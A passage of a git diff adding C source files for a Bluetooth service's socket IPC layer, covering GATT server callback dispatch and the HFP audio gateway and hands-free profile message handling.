&packet->gatts_pl._bt_gatts_phy.addr, + packet->gatts_pl._bt_gatts_phy.tx_phy, + packet->gatts_pl._bt_gatts_phy.rx_phy); + break; + default: + break; + } +} +#endif + +int bt_socket_client_gatts_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + bt_gatts_remote_t* gatts_remote = INT2PTR(bt_gatts_remote_t*) packet->gatts_cb._on_callback.remote; + bt_socket_async_client_t* __async = NULL; + + if (is_async) { + __async = ins->priv; + CHECK_REMOTE_VALID(__async->gatts_remote_list, gatts_remote); + } else { + CHECK_REMOTE_VALID(ins->gatts_remote_list, gatts_remote); + } + + switch (packet->code) { + case BT_GATT_SERVER_ON_CONNECTED: + CALLBACK_REMOTE(gatts_remote, gatts_callbacks_t, + on_connected, + &packet->gatts_cb._on_connected.addr); + break; + case BT_GATT_SERVER_ON_DISCONNECTED: + CALLBACK_REMOTE(gatts_remote, gatts_callbacks_t, + on_disconnected, + &packet->gatts_cb._on_disconnected.addr); + break; + case BT_GATT_SERVER_ON_ATTR_TABLE_ADDED: + CALLBACK_REMOTE(gatts_remote, gatts_callbacks_t, + on_attr_table_added, + packet->gatts_cb._on_attr_table_added.status, + packet->gatts_cb._on_attr_table_added.attr_handle); + break; + case BT_GATT_SERVER_ON_ATTR_TABLE_REMOVED: + CALLBACK_REMOTE(gatts_remote, gatts_callbacks_t, + on_attr_table_removed, + packet->gatts_cb._on_attr_table_removed.status, + packet->gatts_cb._on_attr_table_removed.attr_handle); + break; + case BT_GATT_SERVER_ON_MTU_CHANGED: + CALLBACK_REMOTE(gatts_remote, gatts_callbacks_t, + on_mtu_changed, + &packet->gatts_cb._on_mtu_changed.addr, + packet->gatts_cb._on_mtu_changed.mtu); + break; + case BT_GATT_SERVER_NOTIFY_COMPLETE: + CALLBACK_REMOTE(gatts_remote, gatts_callbacks_t, + on_notify_complete, + &packet->gatts_cb._on_nofity_complete.addr, + packet->gatts_cb._on_nofity_complete.status, + packet->gatts_cb._on_nofity_complete.attr_handle); + break; + case BT_GATT_SERVER_ON_PHY_READ: + CALLBACK_REMOTE(gatts_remote, gatts_callbacks_t, + on_phy_read, + &packet->gatts_cb._on_phy_updated.addr, + packet->gatts_cb._on_phy_updated.tx_phy, + packet->gatts_cb._on_phy_updated.rx_phy); + break; + case BT_GATT_SERVER_ON_PHY_UPDATED: + CALLBACK_REMOTE(gatts_remote, gatts_callbacks_t, + on_phy_updated, + &packet->gatts_cb._on_phy_updated.addr, + packet->gatts_cb._on_phy_updated.status, + packet->gatts_cb._on_phy_updated.tx_phy, + packet->gatts_cb._on_phy_updated.rx_phy); + break; + case BT_GATT_SERVER_ON_CONN_PARAM_CHANGED: + CALLBACK_REMOTE(gatts_remote, gatts_callbacks_t, + on_conn_param_changed, + &packet->gatts_cb._on_conn_param_changed.addr, + packet->gatts_cb._on_conn_param_changed.interval, + packet->gatts_cb._on_conn_param_changed.latency, + packet->gatts_cb._on_conn_param_changed.timeout); + break; + case BT_GATT_SERVER_ON_READ_REQUEST: { + bt_list_node_t* node; + bt_list_t* list = gatts_remote->db_list; + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + gatt_srv_db_t* srv_db = (gatt_srv_db_t*)bt_list_node(node); + gatt_attr_db_t* attr_db = srv_db->attr_db; + for (int i = 0; i < srv_db->attr_num; i++, attr_db++) { + if (attr_db->handle == packet->gatts_cb._on_read_request.attr_handle && attr_db->read_cb) { + attr_db->read_cb(gatts_remote, + &packet->gatts_cb._on_read_request.addr, + packet->gatts_cb._on_read_request.attr_handle, + packet->gatts_cb._on_read_request.req_handle); + return BT_STATUS_SUCCESS; + } + } + } + break; + } + case BT_GATT_SERVER_ON_WRITE_REQUEST: { + bt_list_node_t* node; + bt_list_t* list = gatts_remote->db_list; + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + gatt_srv_db_t* srv_db = (gatt_srv_db_t*)bt_list_node(node); + gatt_attr_db_t* attr_db = srv_db->attr_db; + for (int i = 0; i < srv_db->attr_num; i++, attr_db++) { + if (attr_db->handle == packet->gatts_cb._on_write_request.attr_handle && attr_db->write_cb) { + attr_db->write_cb(gatts_remote, + &packet->gatts_cb._on_write_request.addr, + packet->gatts_cb._on_write_request.attr_handle, + packet->gatts_cb._on_write_request.value, + packet->gatts_cb._on_write_request.length, + packet->gatts_cb._on_write_request.offset); + return BT_STATUS_SUCCESS; + } + } + } + break; + } + default: + return BT_STATUS_PARM_INVALID; + } + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_hfp_ag.c b/service/ipc/socket/src/bt_socket_hfp_ag.c new file mode 100644 index 0000000000000000000000000000000000000000..623ae70187b9de7cd7afa117a8a6e8477c6ad63b --- /dev/null +++ b/service/ipc/socket/src/bt_socket_hfp_ag.c @@ -0,0 +1,439 @@ +/**************************************************************************** + * service/ipc/socket/src/bt_socket_hfp_ag.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "bluetooth.h" +#include "bt_hfp_ag.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "hfp_ag_service.h" +#include "service_loop.h" +#include "service_manager.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CALLBACK_FOREACH(_list, _struct, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, _struct, _cback, ##__VA_ARGS__) +#define CBLIST (__async ? __async->hfp_ag_callbacks : ins->hfp_ag_callbacks) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) +static void on_connection_state_changed_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_ag_cb._on_connection_state_changed.addr, addr, sizeof(bt_address_t)); + packet.hfp_ag_cb._on_connection_state_changed.state = state; + + bt_socket_server_send(ins, &packet, BT_HFP_AG_ON_CONNECTION_STATE_CHANGED); +} + +static void on_audio_state_changed_cb(void* cookie, bt_address_t* addr, hfp_audio_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_ag_cb._on_audio_state_changed.addr, addr, sizeof(bt_address_t)); + packet.hfp_ag_cb._on_audio_state_changed.state = state; + + bt_socket_server_send(ins, &packet, BT_HFP_AG_ON_AUDIO_STATE_CHANGED); +} + +static void on_voice_recognition_command_cb(void* cookie, bt_address_t* addr, bool started) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_ag_cb._on_voice_recognition_state_changed.addr, addr, sizeof(bt_address_t)); + packet.hfp_ag_cb._on_voice_recognition_state_changed.started = started; + + bt_socket_server_send(ins, &packet, BT_HFP_AG_ON_VOICE_RECOGNITION_STATE_CHANGED); +} + +static void on_hf_battery_update_cb(void* cookie, bt_address_t* addr, uint8_t value) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_ag_cb._on_battery_level_changed.addr, addr, sizeof(bt_address_t)); + packet.hfp_ag_cb._on_battery_level_changed.value = value; + + bt_socket_server_send(ins, &packet, BT_HFP_AG_ON_BATTERY_LEVEL_CHANGED); +} + +static void on_volume_control_cb(void* cookie, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_ag_cb._on_volume_control.addr, addr, sizeof(bt_address_t)); + packet.hfp_ag_cb._on_volume_control.type = type; + packet.hfp_ag_cb._on_volume_control.volume = volume; + + bt_socket_server_send(ins, &packet, BT_HFP_AG_ON_VOLUME_CONTROL); +} + +static void on_answer_call_cb(void* cookie, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_ag_cb._on_answer_call.addr, addr, sizeof(bt_address_t)); + + bt_socket_server_send(ins, &packet, BT_HFP_AG_ON_ANSWER_CALL); +} + +static void on_reject_call_cb(void* cookie, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_ag_cb._on_reject_call.addr, addr, sizeof(bt_address_t)); + + bt_socket_server_send(ins, &packet, BT_HFP_AG_ON_REJECT_CALL); +} + +static void on_hangup_call_cb(void* cookie, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_ag_cb._on_hangup_call.addr, addr, sizeof(bt_address_t)); + + bt_socket_server_send(ins, &packet, BT_HFP_AG_ON_HANGUP_CALL); +} + +static void on_dial_call_cb(void* cookie, bt_address_t* addr, const char* number) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_ag_cb._on_dial_call.addr, addr, sizeof(bt_address_t)); + if (number != NULL) + strlcpy(packet.hfp_ag_cb._on_dial_call.number, number, + sizeof(packet.hfp_ag_cb._on_dial_call.number)); + + bt_socket_server_send(ins, &packet, BT_HFP_AG_ON_DIAL_CALL); +} + +static void on_at_cmd_received_cb(void* cookie, bt_address_t* addr, const char* at_command) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_ag_cb._on_at_cmd_received.addr, addr, sizeof(bt_address_t)); + if (at_command != NULL) + strlcpy(packet.hfp_ag_cb._on_at_cmd_received.cmd, at_command, + sizeof(packet.hfp_ag_cb._on_at_cmd_received.cmd)); + + bt_socket_server_send(ins, &packet, BT_HFP_AG_ON_AT_COMMAND_RECEIVED); +} + +static void on_vendor_specific_at_cmd_received_cb(void* cookie, bt_address_t* addr, const char* command, uint16_t company_id, const char* value) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_ag_cb._on_vend_spec_at_cmd_received.addr, addr, sizeof(bt_address_t)); + if (command != NULL) + strlcpy(packet.hfp_ag_cb._on_vend_spec_at_cmd_received.command, command, + sizeof(packet.hfp_ag_cb._on_vend_spec_at_cmd_received.command)); + + packet.hfp_ag_cb._on_vend_spec_at_cmd_received.company_id = company_id; + + if (value != NULL) + strlcpy(packet.hfp_ag_cb._on_vend_spec_at_cmd_received.value, value, + sizeof(packet.hfp_ag_cb._on_vend_spec_at_cmd_received.value)); + + bt_socket_server_send(ins, &packet, BT_HFP_AG_ON_VENDOR_SPECIFIC_AT_COMMAND_RECEIVED); +} + +static void on_clcc_cmd_received_cb(void* cookie, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_ag_cb._on_clcc_cmd_received.addr, addr, sizeof(bt_address_t)); + + bt_socket_server_send(ins, &packet, BT_HFP_AG_ON_CLCC_COMMAND_RECEIVED); +} + +const static hfp_ag_callbacks_t g_hfp_ag_socket_cbs = { + .connection_state_cb = on_connection_state_changed_cb, + .audio_state_cb = on_audio_state_changed_cb, + .vr_cmd_cb = on_voice_recognition_command_cb, + .hf_battery_update_cb = on_hf_battery_update_cb, + .volume_control_cb = on_volume_control_cb, + .answer_call_cb = on_answer_call_cb, + .reject_call_cb = on_reject_call_cb, + .hangup_call_cb = on_hangup_call_cb, + .dial_call_cb = on_dial_call_cb, + .at_cmd_cb = on_at_cmd_received_cb, + .vender_specific_at_cmd_cb = on_vendor_specific_at_cmd_received_cb, + .clcc_cmd_cb = on_clcc_cmd_received_cb, +}; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void bt_socket_server_hfp_ag_process(service_poll_t* poll, int fd, + bt_instance_t* ins, bt_message_packet_t* packet) +{ + hfp_ag_interface_t* profile; + + switch (packet->code) { + case BT_HFP_AG_REGISTER_CALLBACK: + if (ins->hfp_ag_cookie == NULL) { + profile = (hfp_ag_interface_t*)service_manager_get_profile(PROFILE_HFP_AG); + if (profile) { + ins->hfp_ag_cookie = profile->register_callbacks((void*)ins, (void*)&g_hfp_ag_socket_cbs); + if (ins->hfp_ag_cookie) + packet->hfp_ag_r.status = BT_STATUS_SUCCESS; + else + packet->hfp_ag_r.status = BT_STATUS_NO_RESOURCES; + } else { + packet->hfp_ag_r.status = BT_STATUS_SERVICE_NOT_FOUND; + } + } else { + packet->hfp_ag_r.status = BT_STATUS_BUSY; + } + break; + case BT_HFP_AG_UNREGISTER_CALLBACK: + if (ins->hfp_ag_cookie) { + profile = (hfp_ag_interface_t*)service_manager_get_profile(PROFILE_HFP_AG); + if (profile) + profile->unregister_callbacks((void**)&ins, ins->hfp_ag_cookie); + ins->hfp_ag_cookie = NULL; + packet->hfp_ag_r.status = BT_STATUS_SUCCESS; + } else { + packet->hfp_ag_r.status = BT_STATUS_NOT_FOUND; + } + break; + case BT_HFP_AG_IS_CONNECTED: + packet->hfp_ag_r.value_bool = BTSYMBOLS(bt_hfp_ag_is_connected)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_is_connected.addr); + break; + + case BT_HFP_AG_IS_AUDIO_CONNECTED: + packet->hfp_ag_r.value_bool = BTSYMBOLS(bt_hfp_ag_is_audio_connected)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_is_audio_connected.addr); + break; + case BT_HFP_AG_GET_CONNECTION_STATE: + packet->hfp_ag_r.profile_conn_state = BTSYMBOLS(bt_hfp_ag_get_connection_state)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_get_connection_state.addr); + break; + case BT_HFP_AG_CONNECT: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_connect)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_connect.addr); + break; + case BT_HFP_AG_DISCONNECT: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_disconnect)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_disconnect.addr); + break; + case BT_HFP_AG_CONNECT_AUDIO: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_connect_audio)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_connect_audio.addr); + break; + case BT_HFP_AG_DISCONNECT_AUDIO: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_disconnect_audio)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_disconnect_audio.addr); + break; + case BT_HFP_AG_START_VIRTUAL_CALL: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_start_virtual_call)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_start_virtual_call.addr); + break; + case BT_HFP_AG_STOP_VIRTUAL_CALL: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_stop_virtual_call)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_stop_virtual_call.addr); + break; + case BT_HFP_AG_START_VOICE_RECOGNITION: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_start_voice_recognition)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_start_voice_recognition.addr); + break; + case BT_HFP_AG_STOP_VOICE_RECOGNITION: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_stop_voice_recognition)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_stop_voice_recognition.addr); + break; + case BT_HFP_AG_PHONE_STATE_CHANGE: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_phone_state_change)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_phone_state_change.addr, + packet->hfp_ag_pl._bt_hfp_ag_phone_state_change.num_active, + packet->hfp_ag_pl._bt_hfp_ag_phone_state_change.num_held, + packet->hfp_ag_pl._bt_hfp_ag_phone_state_change.call_state, + packet->hfp_ag_pl._bt_hfp_ag_phone_state_change.type, + packet->hfp_ag_pl._bt_hfp_ag_phone_state_change.number[0] ? packet->hfp_ag_pl._bt_hfp_ag_phone_state_change.number : NULL, + packet->hfp_ag_pl._bt_hfp_ag_phone_state_change.name[0] ? packet->hfp_ag_pl._bt_hfp_ag_phone_state_change.name : NULL); + break; + case BT_HFP_AG_NOTIFY_DEVICE_STATUS: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_notify_device_status)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_notify_device_status.addr, + packet->hfp_ag_pl._bt_hfp_ag_notify_device_status.network, + packet->hfp_ag_pl._bt_hfp_ag_notify_device_status.roam, + packet->hfp_ag_pl._bt_hfp_ag_notify_device_status.signal, + packet->hfp_ag_pl._bt_hfp_ag_notify_device_status.battery); + break; + case BT_HFP_AG_VOLUME_CONTROL: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_volume_control)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_volume_control.addr, + packet->hfp_ag_pl._bt_hfp_ag_volume_control.type, + packet->hfp_ag_pl._bt_hfp_ag_volume_control.volume); + break; + case BT_HFP_AG_SEND_AT_COMMAND: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_send_at_command)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_send_at_cmd.addr, + packet->hfp_ag_pl._bt_hfp_ag_send_at_cmd.cmd); + break; + case BT_HFP_AG_SEND_VENDOR_SPECIFIC_AT_COMMAND: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_send_vendor_specific_at_command)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_send_vendor_specific_at_cmd.addr, + packet->hfp_ag_pl._bt_hfp_ag_send_vendor_specific_at_cmd.cmd, + packet->hfp_ag_pl._bt_hfp_ag_send_vendor_specific_at_cmd.value); + break; + case BT_HFP_AG_SEND_CLCC_RESPONSE: + packet->hfp_ag_r.status = BTSYMBOLS(bt_hfp_ag_send_clcc_response)(ins, + &packet->hfp_ag_pl._bt_hfp_ag_send_at_cmd.addr, + packet->hfp_ag_pl._bt_hfp_ag_send_clcc_response.index, + packet->hfp_ag_pl._bt_hfp_ag_send_clcc_response.dir, + packet->hfp_ag_pl._bt_hfp_ag_send_clcc_response.state, + packet->hfp_ag_pl._bt_hfp_ag_send_clcc_response.mode, + packet->hfp_ag_pl._bt_hfp_ag_send_clcc_response.mpty, + packet->hfp_ag_pl._bt_hfp_ag_send_clcc_response.type, + packet->hfp_ag_pl._bt_hfp_ag_send_clcc_response.number[0] ? packet->hfp_ag_pl._bt_hfp_ag_send_clcc_response.number : NULL); + break; + default: + break; + } +} +#endif + +int bt_socket_client_hfp_ag_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + bt_socket_async_client_t* __async = NULL; + + if (is_async) + __async = ins->priv; + + switch (packet->code) { + case BT_HFP_AG_ON_CONNECTION_STATE_CHANGED: + CALLBACK_FOREACH(CBLIST, hfp_ag_callbacks_t, + connection_state_cb, + &packet->hfp_ag_cb._on_connection_state_changed.addr, + packet->hfp_ag_cb._on_connection_state_changed.state); + break; + case BT_HFP_AG_ON_AUDIO_STATE_CHANGED: + CALLBACK_FOREACH(CBLIST, hfp_ag_callbacks_t, + audio_state_cb, + &packet->hfp_ag_cb._on_audio_state_changed.addr, + packet->hfp_ag_cb._on_audio_state_changed.state); + break; + case BT_HFP_AG_ON_VOICE_RECOGNITION_STATE_CHANGED: + CALLBACK_FOREACH(CBLIST, hfp_ag_callbacks_t, + vr_cmd_cb, + &packet->hfp_ag_cb._on_voice_recognition_state_changed.addr, + packet->hfp_ag_cb._on_voice_recognition_state_changed.started); + break; + case BT_HFP_AG_ON_BATTERY_LEVEL_CHANGED: + CALLBACK_FOREACH(CBLIST, hfp_ag_callbacks_t, + hf_battery_update_cb, + &packet->hfp_ag_cb._on_battery_level_changed.addr, + packet->hfp_ag_cb._on_battery_level_changed.value); + break; + case BT_HFP_AG_ON_VOLUME_CONTROL: + CALLBACK_FOREACH(CBLIST, hfp_ag_callbacks_t, + volume_control_cb, + &packet->hfp_ag_cb._on_volume_control.addr, + packet->hfp_ag_cb._on_volume_control.type, + packet->hfp_ag_cb._on_volume_control.volume); + break; + case BT_HFP_AG_ON_ANSWER_CALL: + CALLBACK_FOREACH(CBLIST, hfp_ag_callbacks_t, + answer_call_cb, + &packet->hfp_ag_cb._on_answer_call.addr); + break; + case BT_HFP_AG_ON_REJECT_CALL: + CALLBACK_FOREACH(CBLIST, hfp_ag_callbacks_t, + reject_call_cb, + &packet->hfp_ag_cb._on_reject_call.addr); + break; + case BT_HFP_AG_ON_HANGUP_CALL: + CALLBACK_FOREACH(CBLIST, hfp_ag_callbacks_t, + hangup_call_cb, + &packet->hfp_ag_cb._on_hangup_call.addr); + break; + case BT_HFP_AG_ON_DIAL_CALL: + CALLBACK_FOREACH(CBLIST, hfp_ag_callbacks_t, + dial_call_cb, + &packet->hfp_ag_cb._on_dial_call.addr, + packet->hfp_ag_cb._on_dial_call.number[0] ? packet->hfp_ag_cb._on_dial_call.number : NULL); + break; + case BT_HFP_AG_ON_AT_COMMAND_RECEIVED: + CALLBACK_FOREACH(CBLIST, hfp_ag_callbacks_t, + at_cmd_cb, + &packet->hfp_ag_cb._on_at_cmd_received.addr, + packet->hfp_ag_cb._on_at_cmd_received.cmd); + break; + case BT_HFP_AG_ON_VENDOR_SPECIFIC_AT_COMMAND_RECEIVED: + CALLBACK_FOREACH(CBLIST, hfp_ag_callbacks_t, + vender_specific_at_cmd_cb, + &packet->hfp_ag_cb._on_vend_spec_at_cmd_received.addr, + packet->hfp_ag_cb._on_vend_spec_at_cmd_received.command, + packet->hfp_ag_cb._on_vend_spec_at_cmd_received.company_id, + packet->hfp_ag_cb._on_vend_spec_at_cmd_received.value); + break; + case BT_HFP_AG_ON_CLCC_COMMAND_RECEIVED: + CALLBACK_FOREACH(CBLIST, hfp_ag_callbacks_t, + clcc_cmd_cb, + &packet->hfp_ag_cb._on_clcc_cmd_received.addr); + break; + default: + return BT_STATUS_PARM_INVALID; + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_hfp_hf.c b/service/ipc/socket/src/bt_socket_hfp_hf.c new file mode 100644 index 0000000000000000000000000000000000000000..62d443a20a25505ea40622bad570d09788a5d851 --- /dev/null +++ b/service/ipc/socket/src/bt_socket_hfp_hf.c @@ -0,0 +1,508 @@ +/**************************************************************************** + * service/ipc/socket/src/bt_socket_hfp_hf.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "bluetooth.h" +#include "bt_debug.h" +#include "bt_hfp_hf.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "hfp_hf_service.h" +#include "service_loop.h" +#include "service_manager.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CALLBACK_FOREACH(_list, _struct, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, _struct, _cback, ##__VA_ARGS__) +#define CBLIST (__async ? __async->hfp_hf_callbacks : ins->hfp_hf_callbacks) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) +static void on_connection_state_changed_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_hf_cb._on_connection_state_changed.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_cb._on_connection_state_changed.state = state; + + bt_socket_server_send(ins, &packet, BT_HFP_HF_ON_CONNECTION_STATE_CHANGED); +} + +static void on_audio_state_changed_cb(void* cookie, bt_address_t* addr, hfp_audio_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_hf_cb._on_audio_state_changed.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_cb._on_audio_state_changed.state = state; + + bt_socket_server_send(ins, &packet, BT_HFP_HF_ON_AUDIO_STATE_CHANGED); +} + +static void on_voice_recognition_command_cb(void* cookie, bt_address_t* addr, bool started) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_hf_cb._on_voice_recognition_state_changed.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_cb._on_voice_recognition_state_changed.started = started; + + bt_socket_server_send(ins, &packet, BT_HFP_HF_ON_VOICE_RECOGNITION_STATE_CHANGED); +} + +static void on_call_state_changed_cb(void* cookie, bt_address_t* addr, hfp_current_call_t* call) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_hf_cb._on_call_state_changed_cb.addr, addr, sizeof(bt_address_t)); + memcpy(&packet.hfp_hf_cb._on_call_state_changed_cb.call, call, sizeof(hfp_current_call_t)); + + bt_socket_server_send(ins, &packet, BT_HFP_HF_ON_CALL_STATE_CHANGED); +} + +static void on_at_cmd_complete_cb(void* cookie, bt_address_t* addr, const char* resp) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_hf_cb._on_at_cmd_complete_cb.addr, addr, sizeof(bt_address_t)); + if (resp != NULL) + strncpy(packet.hfp_hf_cb._on_at_cmd_complete_cb.resp, resp, HFP_AT_LEN_MAX); + + bt_socket_server_send(ins, &packet, BT_HFP_HF_ON_AT_CMD_COMPLETE); +} + +static void on_ring_indication_cb(void* cookie, bt_address_t* addr, bool inband_ring_tone) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_hf_cb._on_ring_indication_cb.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_cb._on_ring_indication_cb.inband_ring_tone = inband_ring_tone; + + bt_socket_server_send(ins, &packet, BT_HFP_HF_ON_RING_INDICATION); +} + +static void on_volume_changed_cb(void* cookie, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_hf_cb._on_volume_changed_cb.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_cb._on_volume_changed_cb.type = type; + packet.hfp_hf_cb._on_volume_changed_cb.volume = volume; + + bt_socket_server_send(ins, &packet, BT_HFP_HF_ON_VOLUME_CHANGED); +} + +static void on_call_cb(void* cookie, bt_address_t* addr, hfp_call_t call) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_hf_cb._on_call_cb.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_cb._on_call_cb.value = call; + + bt_socket_server_send(ins, &packet, BT_HFP_HF_ON_CALL_IND_RECEIVED); +} + +static void on_callsetup_cb(void* cookie, bt_address_t* addr, hfp_callsetup_t callsetup) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_hf_cb._on_callsetup_cb.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_cb._on_callsetup_cb.value = callsetup; + + bt_socket_server_send(ins, &packet, BT_HFP_HF_ON_CALLSETUP_IND_RECEIVED); +} + +static void on_callheld_cb(void* cookie, bt_address_t* addr, hfp_callheld_t callheld) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_hf_cb._on_callheld_cb.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_cb._on_callheld_cb.value = callheld; + + bt_socket_server_send(ins, &packet, BT_HFP_HF_ON_CALLHELD_IND_RECEIVED); +} + +static void on_clip_cb(void* cookie, bt_address_t* addr, const char* number, const char* name) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_hf_cb._on_clip_cb.addr, addr, sizeof(bt_address_t)); + if (number != NULL) + strlcpy(packet.hfp_hf_cb._on_clip_cb.number, number, sizeof(packet.hfp_hf_cb._on_clip_cb.number)); + + if (name != NULL) + strlcpy(packet.hfp_hf_cb._on_clip_cb.name, name, sizeof(packet.hfp_hf_cb._on_clip_cb.name)); + + bt_socket_server_send(ins, &packet, BT_HFP_HF_ON_CLIP_RECEIVED); +} + +static void on_subscriber_number_cb(void* cookie, bt_address_t* addr, const char* number, hfp_subscriber_number_service_t service) +{ + 